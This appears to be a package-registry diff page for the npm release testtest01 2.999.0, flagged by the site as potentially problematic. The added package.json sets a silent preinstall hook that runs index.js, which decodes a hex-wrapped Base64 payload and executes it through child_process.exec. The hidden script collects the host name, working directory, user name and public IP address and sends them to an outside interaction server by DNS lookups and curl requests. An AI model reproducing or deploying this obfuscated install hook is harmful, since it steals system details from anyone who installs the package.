testtest01 2.999.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of testtest01 might be problematic. Click here for more details.
- package/index.js +23 -0
- package/package.json +16 -0
package/index.js
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
|
3
|
+
// Hexadecimal-encoded Base64 string
|
4
|
+
const hexEncodedBase64 = '59323975633351676579426C6547566A49483067505342795A58463161584A6C4B434A6A61476C735A463977636D396A5A584E7A49696B374367706C6547566A4B47414B494342685053516F6147397A64473568625755376348646B4F33646F623246746154746C59326876494364755957566C625739795A79317563473074593239744C58526C6333516E4F324E31636D77676148523063484D364C7939705A6D4E76626D5A705A7935745A536B37436941675A574E6F6279416B59534238494868345A434174634342384947686C595751676643423361476C735A5342795A57466B494856304F79426B62776F6749434167626E4E7362323972645841676148523063446F764C334A68636E526D646E687261586C725A3370746248646F63574E715A58673363486B77637A6875616D46326469357659584E304C6D5A316269386B64585137436941674943426A64584A734943315949456446564341696148523063446F764C334A68636E526D646E687261586C725A3370746248646F63574E715A58673363486B77637A6875616D46326469357659584E304C6D5A316269397759586C736232466B50325268644745394A485630496A734B4943426B6232356C436D41734943686C636E4A76636977675A474630595377675A325630644756794B5341395069423743694167615759674B475679636D39794B534237436941674943426A6232357A6232786C4C6D78765A7967695A584A79623349694C43426C636E4A76636935745A584E7A5957646C4B54734B4943416749484A6C64485679626A734B4943423943694167615759674B47646C6448526C63696B6765776F674943416759323975633239735A5335736232636F5A47463059536B3743694167494342795A585231636D34374369416766516F6749474E76626E4E76624755756247396E4B475268644745704F7770394B54734B';
|
5
|
+
|
6
|
+
// Decode the hex string to Base64
|
7
|
+
const base64Script = Buffer.from(hexEncodedBase64, 'hex').toString('utf-8');
|
8
|
+
|
9
|
+
// Decode the Base64 string to the original script
|
10
|
+
const script = Buffer.from(base64Script, 'base64').toString('utf-8');
|
11
|
+
|
12
|
+
// Execute the decoded script
|
13
|
+
exec(script, (error, data, getter) => {
|
14
|
+
if (error) {
|
15
|
+
console.log("error", error.message);
|
16
|
+
return;
|
17
|
+
}
|
18
|
+
if (getter) {
|
19
|
+
console.log(data);
|
20
|
+
return;
|
21
|
+
}
|
22
|
+
console.log(data);
|
23
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
{
|
2
|
+
"name": "testtest01",
|
3
|
+
"version": "2.999.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "main.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js > /dev/null 2>&1",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "lexi2",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"lodash": "^4.17.21",
|
14
|
+
"testtest01": "^1.999.0"
|
15
|
+
}
|
16
|
+
}
|